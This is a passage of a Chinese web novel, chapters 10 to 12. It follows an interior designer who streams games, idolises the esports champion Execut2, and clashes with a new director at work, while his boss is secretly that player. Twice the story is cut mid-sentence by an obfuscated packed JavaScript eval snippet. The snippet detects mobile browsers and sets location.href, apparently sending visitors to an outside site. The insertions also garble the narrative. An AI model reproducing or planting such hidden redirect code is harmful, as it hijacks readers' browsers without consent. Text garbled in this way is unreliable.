“不会啦,现在已经不缺钱了……只是有点惯性,没那么快就慢下来而已。”郁思白指尖不自觉地扣着麦克的线,有一搭没一搭地跟弹幕聊起来。 【官方刚发博,要给嘉年华场馆征集同人展台诶,主播去申请一个不】 【做点喜欢的,这个好】 【对诶,主播专业对口!】 【兼职的时候还要让他赚外快,你们也是没放过他】 那条长弹幕一闪而过,却被郁思白敏锐捕捉到。 “同人展台?自己设计的那种吗?” 【不给钱的,你个财迷】 郁思白:“哦,那算了……” 【但是申单人展台,有对应选手的绝版周边哦~】 郁思白倒吸一口气,啪地拍桌,一瞪眼睛,义正词严。 “申个Execut2单人展台发无料而已,什么钱不钱的,不要侮辱我和卡神的感情!我看下官博在哪儿呢,是什么周边……”说着说着,他自己都笑了,喜上眉梢,两颊浮现出梨涡来。 “快快,排位暂停,主播先去报个名!” 公司不让做场馆项目也没关系嘛,小展台设计这种不会暴露名字的活动,他参与一下总没人知道吧。 重点是……卡神的绝版周边物料! - 江澜御府。 季闻则擦着头发从淋浴间出来,平板支在起雾的镜子前,在历史记录里找到【Respit2】的直播间点开。 黑屏加载的两秒,他扫了一眼今日直播间标题。 【收集灵感咦嘻嘻嘿嘿哈哈bvb】 擦头发的手一顿。 ……今天喝了半斤酒的,是我这个老板没错吧? 季闻则哼笑了下,随手把毛巾丢进脏衣篓,拢了下头发,转身摸了个吹风机的功夫,小主播的声音就传了出来。 “年轻人就是要看这些才有力气工作!啊不是,我只是收集灵感而已,为了工作,是工作……嘿嘿,我男神真帅。” 心里咯噔一下,季闻则回头,目光毫无防备地,撞上屏幕里被放得超大的脸。 一张熟悉又陌生的、顶着一头灰蓝色毛的、幼稚又傻逼的、写满恃才傲物冰块脸。 ——Execut2。 季闻则深吸一口气,挂了多年的笑容在这个瞬间岌岌可危。 郁组长,郁思白,Respit2。 你还有多少惊吓是我不知道的。 眉毛不自觉皱起来,季闻则探手发了条弹幕。 【今晚一直都播这个吗。】 本以为孤零零的一条会被淹没在弹幕群里,没想到短暂的延迟后,郁思白开口念了这句。 “今晚……一直都播这个吗?”他一笑,笑得季闻则心里惴惴,忽然有种天道轮回的恍惚。 主播的声音轻快,仿佛开心得在扭动一样,说。 “是呀是呀!今晚,明晚,接下来一整周——都播这个喔!” 10. 第 10 章 季闻则唇边带着似笑非笑的弧度,侧头瞥着平板里的画面,有些骑虎难下。 自带除雾的镜面渐渐清晰起来,映出一具有明显训练痕迹的男性躯体,浴袍散散披在他肩上,光影将前胸肌肉轮廓勾勒分明。 与之对应的,平板里的男人……或者叫男生更合适些。男生侧倚在昏暗的赛场后台,队服外套松垮地落在他肩头,全靠骨架撑起些许存在感,他神情冷淡,像是回避拍摄,抬手探向镜头,骨节分明。 季闻则收回视线,重新看向镜中的自己,脑海里却还是平板上那张照片的残影。 灰蓝色短发的少年中二又青涩,冷着脸,一股独孤求败的气质。 季闻则垂眸,拎起丢在抽屉里的银丝框镜架上鼻梁,再抬头,镜中人和相片最后一点相似,也被这幅眼镜遮盖消失了。 也怪不得薛简会说,“现在没人敢认你”。 季闻则唇角重新挑起,笑容随意。然而平板里,隔着网线的主播好像偏偏不让他好过。 画面里的大头照被缩小又放大,像强调特效一样,挑战着季闻则神经的底线。 他终于还是忍不住眯了眯眼。 不是,十年前的Execut2就不觉得那头灰蓝色的毛很显秃吗? 像回应他的话一样,郁思白的声音传来。 “我卡神品味是极好的,看这发色挑的,自在、飞扬、够轻薄!” ……够轻薄。 季闻则听笑了,几乎要怀疑今天饭局上,这家伙的一言不发是不是装的。 他们郁组长这说话技巧,不让他去做个管理果然还是可惜了。 他打开吹风机,呼呼的噪音压过郁思白的声音,可直到他把一头湿发吹干,吹风机一关,平板里还在持续传来主播卖力带货一样的声音,对着几张照片,几个镜头,三百六十度无死角地夸。 季闻则再如何,也做不到听着无脑狂吹自己的话睡着。 他端着平板走出浴室,左手在上面点了几下,屏幕的白光映亮他手腕内侧一道不怎么明显的疤痕。 视线在那道痕迹上顿了一下,季闻则换了右手打字。 他发了条醒目留言,决定用金钱操控主播,价格填了五千。 【404:不想听这个,可以点比赛解说么】 然而直到他收拾好自己,掀开被子躺进去,过了快两分钟,才迟迟等到这家伙谢礼物的声音。 但凡他抠门点,发个十块的醒目留言,这会儿都已经时间结束自动消失了。 季闻则冷不丁想,5000,够把人按在公司加两个月班了。 现在就买了两小时? “哇,谢谢404老板的5000块sc!老板破费啦!” 听见对方谢到自己的礼物,季闻则又忍不住哑然。 他们公司的好劳模,郁组长,大晚上的,讲话比白天任何时候都中气十足。 真是奇了。 “老板说‘不想听这个,想听……比赛解说’?”郁思白愣了一下。 季闻则安心把平板放到一边,拿过眼罩戴上,准备安稳入睡。 “……我给你退钱吧老板!” 季闻则掀了眼罩,缓缓眯眼。青年固执的声音,终于和白天的郁思白有了些许相似。 “我就要说。” 画面里还是那个吃白人饭吃得营养不良的瘦高蓝毛,而他现在的好下属郁思白,仿佛正站在他面前,用同样瘦削的身体把那个蓝毛护在身后,就这么语气坚定地拒绝道。 “如果你不喜欢Execut2的话,最好别看我直播了——房管!” “联系一下老板,给他退钱。” 到头来,竟然连两个小时也没买到。 - 404消失在观众榜上。 结束直播的时候,郁思白方才有点后悔,自己刚刚没忍住小发脾气的事儿。 不过也只是一点点后悔,毕竟,如果来他直播间的人不喜欢Execut2,那要走是迟早的事。现在走,倒还给他及时止损了呢。 结果下播联系上房管才知道,那位404老板没要退款,甚至脾气很好地解释了一下,“我只是更喜欢主播解说,很专业。” 郁思白握着鼠标呆愣。 好……情绪稳定的老板。 我真不是人啊TUT 回了房管一句知道了,郁思白关机洗漱,像一条失去梦想的咸鱼拍进被窝,顶着一头被自己揉乱的鸡窝毛。 下次……下次404老板再来的话,想办法弥补一点吧! 决定好后,郁思白一个翻身变成肚皮朝上,摸出手机。 今天直播因为有这个5000大额打赏,一共有5312的流水,扣去J站分成就是…… 秉持着不工作不用脑的原则,郁思白打开计算器敲了几下,然后把2656的税前收益,从自己的工资卡,预支转进一张尾号0629的银行卡。 手机银行里,余额很快从8开头跳到9开头——六位数。 郁思白满意地看了半晌,颊边沁出梨涡来。 【0629】,Execut2的生日。这张卡是他专门用来存钱,希望有一天能还给卡神的。 郁思白没法说当年的天降二十万对他来说是什么重量,他只知道,如果没有那二十万,他已经辍学回家当教辅老师了也说不定。 毕竟从小城市考到Q大,是十八岁郁思白唯一卖得上价钱的东西。 当年他就说,自己以后赚钱了,一定会把钱给卡神还上的。但卡神拒绝了。 他说:【生活重要,攒够一百万再说还的事儿吧。】 郁思白知道他不是收利息的意思,但不妨碍自己现在手有余钱就拿去凑一百万,直播的、加班的……除掉日常生活所用,统统存进去。 看着现在“9”开头的余额,郁思白把头埋进被窝,嘿嘿笑了两声。 他准备攒够一百万,就去求薛老板能不能约Execut2出来,实在不行……让薛老板代为转交也可以。以男神面冷心热的性格,说不定一个电话就主动打来…… 嘿嘿! 揣着美美的幻想进入梦乡后,郁思白却做了个不怎么美妙的梦。 他梦见自己攒够一百万的时候,已经是白发苍苍的老头,去找薛简,然后被告知,老头Execut2已经先一步去世了——黑白的遗像把卡神那头标志性的灰蓝色头发去色,惯常冷着的嘴角,被修图师强行拉出一个微笑的弧度,猛地看过去,简直就是活脱脱一个季老板! 郁思白吓醒了,忽然觉得身边有张这么像男神脸,也不是什么好事儿。 是自己最近看老板脸看多了么……好吧好吧,那以后不看了。 心里惴惴着,他翻来覆去好久才重新睡着。 - 噩梦的威力有点大,一整个上午,郁思白都浑浑噩噩,直到午休结束,才有了点重新醒来的感觉。 初春午后的阳光有着恰到好处的温度,郁思白的工位靠窗,整个人沐浴在阳光里,舒舒服服地伸了个懒腰,起身飘去茶水间。 “采购部哥们儿人真好啊,知道我话多,不知道啥时候开始给茶水间放金嗓子喉宝了!” 远远地,高向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333029|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日的声音传来。 “好像是总裁办那边弄的,我看过来的是杨总助。”有同事说。 高向日突然就没说话了。 郁思白飘进去,顺手摸了颗金嗓子吃掉,疑惑看了眼他。 “组长?!你怎么跟个鬼一样,吓死我了。” 刚才的停顿仿佛只是意外,高向日又活泛起来,大惊着表示自己的不赞成:“组长你又不说话,吃这个干嘛,是药三分毒!” 有便宜不占王八蛋。某种意义上也算深/夜主播的郁思白想。 他往墙上一靠,抖抖袋子撕开咖啡,闭着眼睛道:“我说梦话。” 几个一组的人纷纷大笑,引得其他部门同事频频侧目。 “不是说郁组长是冰块脸吗?一组气氛一直这么轻松?” “挺羡慕的……赚得多,组长是帅哥,气氛还好。” “唉,求进一组的方法……” “上班时间,聚在这里干什么呢!” 忽然一个不和谐的声音打断了众人的絮絮。 茶水间门口站了个中年男人,中等身材、国字脸、书卷气,镜片后狭长的眼睛却破坏了脸型的正气,看着就不是好相与的性格。 高向日皱眉,上前一步,一堵墙似得挡在同事们身前:“你谁啊?” “卢近仁。”男人目光一睥,看向站在高向日身侧的郁思白,嘴角一动,笑道,“哟,郁设计,自从上次风尚嘉园的项目过后,我们有一年没见了吧。” 郁思白这才抬头,眉头微动,像是想了一会儿才道:“卢设。” 他旁边,高向日恍然:“哦哦……你就是风尚嘉园被我们组挤下去的那个卢设?” 周围发出闷笑。 提起自己被一个毛头小子争走项目的生涯滑铁卢,卢近仁脸色顿时黑沉,胸口起伏两下,最后变成一声冷笑:“不巧了,郁设计,现在你得叫我一声总监。” “嗯。”郁思白淡淡应了一声,抿了口咖啡问,“这算什么,打不过就加入?” 围观人群里,又是一阵找不到源头的笑声。 “你!”卢近仁瞪眼,又不好驱逐其他部门的人,一时间黑脸憋得通红。 茶水间外,由远及近地传来实习生小穆的呼喊:“组长?师父!” 高向日应声:“茶水间呢。” 几秒后,小穆喘着气在茶水间外扶着墙站好,匆匆道:“接待室那边,天骄姐有点hold不住了……” 没想到这么快就能抓到郁思白的把柄,卢近仁闻言,先是一喜,转而厉起眉峰,重重拍了桌台一下,训道:“郁组长,就是这样慢待客户,自己在这儿偷懒的吗!”说完,扭头对小穆示意,“你,带我过去。” 哪知道小穆师徒俩一脉相承,挠挠脸看他,开口疑惑:“你是谁啊?客户点名让我们组长看的……” 卢近仁把自己的临时工牌往桌上一拍:“怎么,觉得我不够格?” 看清上面【总监】两个字后,小穆脸色白了白,下意识看向师父。 高向日看向自家组长。 郁思白端着咖啡,吹了口气:“带他去。” 卢近仁终于露出满意的神色:“郁组长,一年不见,也不算是没有进步。”说罢转身,走在犹犹豫豫的小穆身前。 “组长,这……”高向日迟疑。 郁思白不紧不慢喝完咖啡,随手把一次性杯子丢进废纸篓,扯了张湿巾,边擦手边往外去。 “走吧。”他说,“看看卢老师有什么长进。” 高向日愣了愣,低头发了条消息,然后压下眼底担忧,立刻跟上。 11. 第 11 章 “……不好意思张先生,我是新来的总监,卢近仁。我这几个下属平时缺乏管教,让您不满意了,我替他们给您道歉……” 还没走近,就听见卢近仁谄媚的声音,小穆站在门口,一脸难以言表,原本坐在客户对面沙发的武天骄早站了起来,不耐烦地捋了一把自己又稀疏了的粉毛。 郁思白抬眉,轻声道:“看来是没有长进。” 一组接待室布置得很有居家风格,他拉了只高脚凳,在不远处的吧台边坐下。 茶几旁,穿着得体的张先生和张夫人对视一眼,最后夫人开口:“你不用这样。” 卢近仁笑道:“还是需要的。做我们这行,也算是半个服务行业了,当然是照顾您的各项需求最重要,您说是不是?” 张先生皱眉道:“随你,我们只要方案。” 卢近仁笑容顿了顿,但还是接着问:“好的,您二位是对哪个流程不满意呢?” 张夫人轻蹙眉头:“我提出了一个方案,这小姑娘非说做不了……不就是在房间里自己搭个小树屋出来吗?怎么会做不了呢,网上装修视频,大把大把都是这样的呀。” 她拿出手机播放视频,失真的比例渲染出粗糙的图像,机械配音念道:“找二舅妈借几个膨胀螺丝……” 武天骄忍不住道:“女士,这个真的不行……” 卢近仁扭头狠狠瞪了她一眼,转头一扯嘴角说:“能做啊,这有什么不能做的?” 闻言,张夫人脸上神色稍霁。 卢近仁紧接着苦恼道:“就是这样的做法呢,造价会有点贵。”他大致报了个数。 张先生顿时蹙眉:“能有这么贵?” “当然,一分价格一分货。”卢近仁笑道,“交给我们绝对没问题,材料都给您用的是最好的。” 张夫人用胳膊碰了碰张先生,夫妻俩明显开始动摇。 “总监确实不一样,不如……”张先生和妻子低声商量,妻子犹豫的时候,听见一个年轻的声音响起。 “两位,针对你们的需求,我们可以提供更好的方案。” 夫妻俩抬头,看见之前一直坐在高脚凳上的青年起身走过来,步伐沉稳。 郁思白瞥了眼笑容消失的卢近仁,拉开沙发椅坐下,拾起一支笔在指尖灵活转了一圈,扯了张白纸,直接落笔。 “您这个房间是给学龄期的小儿子准备的,孩子喜欢爬高上低,刷到类似的视频,因此有了做树屋的想法……但过几年孩子上了初中,学业压力上来之后,在这种房间学习恐怕会有点压抑。” 张夫人点头:“我之前也是这么跟孩子说的,但你也知道,小孩说不通的……” 郁思白淡淡笑了一下,几句话的功夫,白纸上已经画出一个房间的雏形,有一面类似放大洞洞板的墙。 “考虑到未来持续的实用性,我认为这个地方做成可活动空间会更好……” “郁组长,你这些都是花架子。”卢近仁道,“安全性能得到保障?安全才是设计的重中之重,你不要忘了!” 张先生皱眉:“对,安全重要。” 郁思白勾完最后一笔,只说:“当然,这也是我们最在意的。” 他向后一伸手,接过高向日递上来的一本合集,推到夫妻俩面前。 高向日笑容洋溢地为他们翻开介绍:“这是我们组的作品集。现在跟您说的这种案例,我们两年内做过四次,如果您需要,我们可以联系回访。” “并且我们公司背靠老牌建材企业,在材料上,不论价格还是质量您都是不用担心的。” 郁思白用笔压住一页,开口:“比如这里的转角,我们做了特殊处理,在保证安全性的同时,增加收纳空间……” 他声音语调都是淡淡,但张先生夫妻却越听越入迷,半晌,张夫人才慌忙打断,笑着说:“抱歉抱歉,我给我儿子打个电话,让他听听设计老师的想法。他肯定喜欢!” 讲得差不多的郁思白顿了顿,道:“您二位转告就好。这张图您可以带回去。” 图纸上,俨然已经画出一个房间的两三种调整方式,从童趣盎然的幼儿房、到有了学习区的少年房、再到更简洁大方、兼顾了展示区的大人房。 张先生夫妻看着这张图,又看了眼自己手机上的视频,哪怕视频上是渲染过后的彩色建模,也觉得二者有着天壤之别。 “这设计费,真是不白花!”张夫人喜笑颜开。 张先生也没了先前的冷脸,抬头看向卢近仁,满意道:“你们的设计师不错!” 他为眼前的总监保留了些颜面,没当众说“你这总监怎么还不如普通设计师”。 但卢近仁的表情仍旧不好看,眼下勉强挤出一个笑,一言不发站在旁边,看客户夫妇和一组众人敲定后续时间。 武天骄:“那三个工作日后,我和郁组长会线上跟您二位沟通几版草案……” 张夫人点头,正要答应下来,却听卢总监开口。 “用不着三天后。”他重新变得笑容满面,微微弯腰道,“您二位大概没了解过,我们庭季的郁组长,是出了名的高效率。他明早就能给您。” 张夫人一愣:“是不是有点太紧了。” “加个班的事儿。”卢近仁笑,“为了跟客户之间的高效沟通,这是我们应该做的。” “好。”张先生按了一下妻子的手,满意道,“我很喜欢你们的效率。” 三句话间,一组今天要加班的命运就被定了。卢近仁翘起半边嘴角,颇为得意地回头,想要欣赏一组众人、特别是郁思白此刻的表情。 但他只看到一个眼里喷火的实习生小穆,其余三人皆是自顾自地做事,郁思白更是连表情都欠奉半点。 卢近仁忽然有点气闷,却连个发作的由头都找不到。 “如果您有需要的话,次日出图当然也是可以的。”武天骄熟练道,“就是需要设计费10%的加急费用。” 张先生也不墨迹:“应该的,就这么定了。” 后续事宜顺利敲定,张先生再抬头时愣了一下:“你们那个总监呢?” 卢近仁早已跑了个无影无踪。 高向日耸肩:“可能找地缝钻进去了吧。” 夫妻二人皆是轻笑:“这位设计老师这么厉害,才该当总监的!” “唉,我们老板提过的,但组长对做管理兴趣不大,只想好好搞设计,就拒绝了。”高向日扬起笑容,一副与有荣焉的样子。 郁思白侧头瞥了他一眼。 送走客户后,一组几人默契对视一眼,神色各异。 高向日带头大笑,爽的直拍大腿:“他抱着我们组长不要的东西,在那耀武扬威什么呢!” 武天骄一边收拾茶几上的纸笔,一边道:“就怕他是个记仇的。” “天骄姐,我来。”小穆接过她手里的活,终于忍不住开口发问。 “师傅,天骄姐,今天要加班了,你们都不难受吗……诶呦!” 高向日照着小孩脑门弹了一下:“你组长这张嘴也不是摆设。他不推掉,自然有他的道理。” 武天骄也颔首:“组长有自己的节奏。” 顺着两位前辈的目光,心里还疑惑着的小穆看向站在书架旁的组长。 郁思白合上一组的作品集,厚重的封皮发出砰的声响,它被重新放回展示架上,仿佛有着狂风也吹不倒的底气。 小穆忽然就安心了。 - DDL提前的消息传回一组办公室的时候,多少还是掀起一阵对卢近仁的辱骂。 “我靠,组长!他怎么敢这样啊?” “我早上看到那个卢跟二组的人在一块……” “操,他不会是老抽派过来继续恶心我们的吧??” “那这是要跟季总打擂台了?” …… 郁思白在一阵讨论声中,走回自己最里侧的工位坐下。 一组办公室整体是米白色,阳光落在绿植上,看着就让人心生愉悦,他此刻没有半点要加班的不悦。 有组员问:“组长,要不我们晚上留下一块弄吧。” 实习生小穆听得疑惑。 这是什么意思……加班不是大家一起加吗? 郁思白抬手摆了摆:“下午抓紧,先做。” 说罢,他看了眼桌面的时钟,短暂思考后,开始分派任务。就连各方面还不熟练的小穆都被分到重要环节。 显然,这个项目也是给一组上了强度。整个一组像如同一台庞大的机器开始运转,各司其职,直到郁思白桌上的时钟第四次响起整点报时。 六点整。 实习生小穆压根没听见那声报时,兀自拧着眉头埋头苦干,肩膀忽然被拍了一下。 他恍惚抬头,猛地发现,自己周围的前辈们,一个个竟然都已经收拾好桌子和包,一副整装待发的样子。 “草案基本就是这三个,向日复核过,还剩最后的修改和完善……” 武天骄站在郁思白工位旁低声汇总下午的工作,没半分钟就回到工位,左手关机右手拎包,唰地甩到了背后,看了眼小穆。 “走了,下班。你晚上不是约了喜欢的女生吃饭?还不走。” 小穆昏着头被从工位拔起来,踉踉跄跄出了办公室玻璃门,撞得门边柜子上的向日葵胡乱摇头。 走廊里还很空荡,只有一组的人乌泱泱下了班,见此情景,小穆才猛地找回自己的声音。 “我们只做完七成……!”他急道,“剩下的东西组长一个人要做一整个晚上吧。我们,我们不留下来帮他吗?” 武天骄眼疾手快地拉住就要往回冲的小穆,笑道:“剩下的都是只有组长能做的活儿,咱们去了也是添乱。” “哈哈,或者你想留下来给组长端茶倒水也行?”另一个一组组员说,“不过他搞不好会把你赶出来哦。” “啊……?” 小穆愣住,下意识回头,隔着玻璃看向屋里。 窗外夕阳早已按下去,偌大的办公室,只有最里面的工位还亮着灯,像一片深海里矗立着的、唯一的灯塔。 扮演着灯塔的青年似乎察觉到他们的目光,抬头,也将目光投了过来,然后抬手摆了摆。 小穆猛地收回视线,垂头丧气,看着自己的脚尖。 “……我知道我帮不到组长什么。”他低声道。 “我刚来组里的时候,师傅给我布置任务,我不会,又不敢问师傅……那天晚上我改到凌晨三点都没改出来。我真的焦虑到要爆炸了,我想着,我可能真的没机会在这里干下去,我跟不上大家。” “但是组长突然上线了。” 小穆把自己的衣服攥成一团,深吸了口气说:“大半夜的,组长牺牲自己的睡觉时间,给我讲了半个小时的课。告诉我技巧套路,怎么做事半功倍……我导师都不会这样,他只会骂我书白读了。” “我改好图下线的时候,发现他还在。”小穆忽然皱了皱鼻子,偏过头,闷闷道。 “我就是想,想让组长不那么累,我也想能帮到他什么……我会努力的。” 周围有片刻的安静,在窸窸窣窣的脚步声中,小穆才后知后觉地感到一阵不好意思。 他红着耳根抬头,却发现武天骄噗哧笑了一下,一时间更是悲愤。 武天骄抿着唇笑,也侧过头看向郁思白,叹气道:“被你这么一说,我忽然觉得好心虚啊……小穆,你看你师傅。” 小穆扭头,下一秒瞳孔地震。 “师师师师傅!你咋哭了啊!!” 高向日高高昂着头,猛汉红眼中。 小穆手忙脚乱起来。 “放心啦。”武天骄说,“其实你组长吧,他没有你想的那么……” 琢磨了一会儿,她终于找到了合适的形容词。 “他没你想的那么笨。” 小穆:“……诶?” 粉色头发的前辈拍拍他的肩膀,没有要解释的意思,只笑着道:“放心回去吧。休息也好,学习也好,等组长需要我们的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333030|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,他自然会说的。就像今天下午一样。” 然后她又瞪了高向日一眼,嫌弃道:“你也是……又不是什么都不知道的新人了,这副样子,是等着组长看见来踹你屁股?” 高向日用手背蹭了蹭通红的眼眶,感性道:“呜呜,我就是觉得,组长被这么美化一下,都能去竞选感动中国了……” 仿佛从他的话里,隐约窥见了什么世界真相的小穆:……? “师傅,师傅,什么意思!”他追问。 高向日手一背,高深道:“努力留在咱们组吧,以后你就知道了!” “啊啊啊师傅跟我说说——我请你吃饭!” “不吃,我接我宝贝闺女去,你师傅我是成家的成功男人,谁跟你出去野啊。” …… 郁思白隔着玻璃门,看到一组的人笑闹着散了,满意地收回视线。 鼠标在屏幕上晃了几下,他打开E盘,一路七拐八拐地双击进去,最终找到了藏在磁盘最角落的游戏。 ——无畏契约,启动! 哼哼,剩下的工作都是小case,等最后一个小时再做就好。现在他还有很多时间,先打一盘游戏,然后再带薪刷刷Execut2的各种视频,找找展台灵感…… 啊,美好的晚上。 郁思白滑动椅子向后,脚下一蹬,在空无一人的办公室里,唰地转了个圈儿。最后一抹夕阳染上他麻木了一天的脸,在他颊边点出两个浅浅的梨涡。 谢谢卢近仁,又被他混到加班费咯!离见到卡神,又进一步! - 临近九点的时候,【我打不到人啊】,以三连败的战绩,灰头土脸地从排位场爬了出来。 等晚上回家直播,观众们就会发现,哇这个主播怎么又偷偷掉段了。 郁思白一点也不想看到这种场面——所以当第一把以11:13小比分遗憾输掉之后,他信心满满决定再来一把,至少把掉了的分加回去。 然后就输了第二把。沉没成本之下,又开了第三把。 ……早知道不打了。 郁思白欲哭无泪,板着一张比白天上班还不悦的冷脸,出去丢了个外卖袋。见到他的其他加班同事,明显绕着他走。 “新总监……这是跟一组干上了啊。” “以后有的看了。” “我看新来的季总,好像还是压不过钱系啊……” “钱能做这么多年位置,又不是吃素的。” 郁思白把他们的闲聊听了一耳朵,轻啧一声,也忍不住在心里道。 季没品,加把劲啊。打起来!我要看到血流成河! 丢了一圈垃圾,散心回来的郁思白放下排位的失败,打开CAD,开始一晚上的工作。 看起来凌乱的草图,在他手上好像会自动梳理一样,寥寥几笔下去,就立刻变得整洁明了。 他落笔甚至都不需要停顿思考,那些往往需要不断穷举试错才能找到的最佳方案,在他这里,也不过就是三两次的修改。 改图如同呼吸般简单,郁思白按下保存键,叹了口气。 如果排位上分也和工作一样简单就好了。 转念一想,这二者似乎又没有什么可比性。他现在能在这儿这么轻松地完成收尾工作,跟全组下午绝对专注的工作基础分不开。 大家彼此之间磨合两年,早已是如臂使指。高向日的草图原本就已经是最契合他思路的方向,武天骄罗列出的数据,也能让他想要什么,立刻就能抓取到。 换成游戏里的话,这帮队友,也都是冠军级别的人物了——他跟pupu几个排位,也经常能赢的。 等待渲染导出的时候,郁思白托了托下巴。 大概人的本性就是贪心不知足。平时也没少跟冠军选手排位的Respit2,心里忽然冒出一个想法。 ——要是能跟Execut2双排一次就好了。 Execut2,三年四冠的顶级世界冠军,流水的队友铁打的他,流水的对手,铁打的冠军。 郁思白抿唇轻笑了一下——尽管这个程度的笑容在他脸上展现出来,完全是一个冷笑。但没关系,现在又没有别人看他。 不切实际的幻想在脑海里转了一圈,做完白日梦,郁思白敛了敛心神,重新专注面前的工作。 现在时间还早,今天他的车限号,他准备混到十一点半下班,然后坐地铁末班车回去。 得快点做完手头的工作,还能带薪刷一会儿视频呢! 他就这样极专注地坐在电脑前勾画,因而也没有注意到,一组的玻璃门外,不知什么时候站了一个高挑的身影。 季闻则在门外站了整整五分钟。 他看见青年在那盏孤零零的灯光下坐着,脸色不断变化。时而抿唇,时而皱眉,时而冷笑,过后又明显叹了口气。 他似乎真的很苦恼于眼前全加在他一身的工作,还有那个让他强行加班的罪魁祸首卢总监。 抬腕看了眼时间,季闻则终于还是屈指,轻轻敲门。 屋里的青年抬头,仍是那张白纸一样没有表情的脸,看清他的时候,那张纸染上淡淡的疑惑神采。 “季总?” 季闻则不想给他冷脸,唇角一弯,噙了个笑道:“嗯,进度怎么样?” “……可能还要两个小时吧。”郁思白偏头看了眼屏幕,微微蹙眉道。 “下班。”季闻则道,“手头的东西存好,明早再做,晨会让别人替你来。如果卢近仁有问题,就告诉他是我说的。” “啊……啊?” 即使隔着不短的距离,季闻则也清楚地看见了那双陡然睁大的眼睛,震惊又讶异的神情浮现在那张脸上,实在是浓墨重彩的一笔。 解放了小粉丝的季闻则心情颇好,笑容转深,抬手冲他一挥,转身离开。 半晌,空荡荡的一组办公室里,响起郁思白不敢置信的声音。 “……不是,他有病吧。” 黑心资本家,加班费都不让混?? 12. 第 12 章 老板说完就走,郁思白在心里吐槽了一句,也没当回事儿,兀自接着画自己的图。 他不可能真的把活留到明天去。万一客户很兴奋,一早上班就问他要图;万一领导抽风,半夜就要他的方案……难不成他还能冲到季闻则家里把人拎出来挡枪? 他可以明早再发,但手上绝对不能没有。 只可惜,今天没法画小展台了。家里的设备,毕竟还是不如公司发的顺手。 Execut2限定周边……急急急。 按部就班地画完,郁思白没再多留,关灯锁门,一看时间,离九点半还差着两分钟。 一组的灯全黑下来之后,斜对面二组办公室就显得格外亮。郁思白不着痕迹地探头看了一眼,加班的是他们组年轻的三个新设计师,钱翀和几个老家伙早都没影了。 钱远新不结加班费不只是针对一组,二组也照拖不误。但他的好大侄钱翀加班本就少,算下来,少的都是下面设计师的钱。 ……造孽啊。 郁思白抿唇,无声叹气,转身离开。 大厦的电梯在晚上只开发最东边靠近大门的四部,倒也正好顺路打卡下班。郁思白一路低头看手机,磨磨唧唧地走过去,哔的一声打卡。 【21:00:01】 完美的电竞之手! 郁思白唇角一弯,心情都轻快了些,收了手机,正要昂首阔步地走,忽然目光一凝,脚下意识退了半步。 公司大门口的接待区,阴魂不散的老板赫然站在那里,背对打卡机倚在沙发旁,风衣和深色沙发面融为一体,叫人冷不丁一下看到,还以为是沙发成了精。 好消息是,这人正背对着自己接电话,不时“嗯,行”地应一声,似乎没听到打卡机的声音,暂时还什么都没注意到。 郁思白眸光一转,吸了口气,拿出玩恐怖游戏的强装镇定,目视好一条可以绕过boss直奔电梯间的路线。 然后耳机一挂,猛地埋着头往前走! 路线离boss最近的地方,只有不到三米,郁思白垂着眼睛,放轻脚步,连呼吸都不敢太重。 一步,两步,三步,四…… 他迈步,脚上是在动的,上半身却忽然怎么都跟不过去——一只手就这么拎住了他的后衣领。 ……卧槽有鬼啊。 郁思白试图装聋作哑,继续往前走。那只手见他挣扎,轻笑一声,没怎么费力,就把他从逃生路上拉了过去。 死咯。 郁思白眼皮无力地耷拉着,麻木又懒倦地说:“老板,我下班了……” 像回答他一样,后衣领又是一紧,郁思白掀起眼皮,带着点半死不活的质问看过去。 季闻则右手拿着手机靠在耳边,嘴角噙着笑看他,没说话,只是左手拎着他的领子,像抓娃娃机一样,把人引到沙发上坐下。 松手之后,季闻则食指在唇边碰了碰,示意他别出声,笑得眉眼弯弯,左腕表盘在射灯下亮得晃眼,有那么一瞬间,整个人简直像优雅变/态杀/人魔。 郁思白头一次知道,接待区的沙发烫屁股。 他才忍不住扭了一两下,季闻则就瞥眼过来,见他坐立不安,便冲他微微抬了抬下巴,指向桌边的一沓便签纸。 郁思白会意,倾身伸长胳膊,用指尖给他扒拉到面前,想了想,又扒拉了支笔。 季闻则莞尔,拿过便签单手顶开笔盖,正要落笔,忽然把手机换了个手,右手执笔写字。 他这么一换郁思白才发现,这人刚刚左手握笔的姿势也挺顺眼,有种似乎真的会左手写字的感觉。 老人有说法,说左撇子聪明,郁思白一直很认同——毕竟他男神Execut2就是个左撇子。 季没品嘛……没那气质。 郁思白内心蛐蛐了两句,季闻则转了半圈笔,将便签推到他面前。 【稍等】 他字迹潇洒漂亮,说的却不是郁思白想听的话。 想了一下,郁思白直接从他手里夺笔。 【我今天没开车】 所以没有便车搭,快点放我走。 “……把报告重新发我看一下。”季闻则微微蹙眉讲电话,垂眸看见被推回来的便签时,抿唇笑了一下,接过笔,划掉了中间的【今天没】。 ——【我开车】 郁思白看着那张被涂抹的便签,揉了揉眼睛。 ……什么意思。 搭伙下班? 如果对面不是大老板的话,郁思白现在还真能升起些新奇的感觉来。 组里大部分人都是地铁出行,搭伙下班的比比皆是,郁思白这个开车的,从来没加入过他们。 这倒是头一遭了……简直像中学放学之后大家一起回家一样。 郁思白眨眨眼,旋即在脑海里甩掉这个念头,表情复杂。 并非同学。这简直是回家路上遇见班主任。 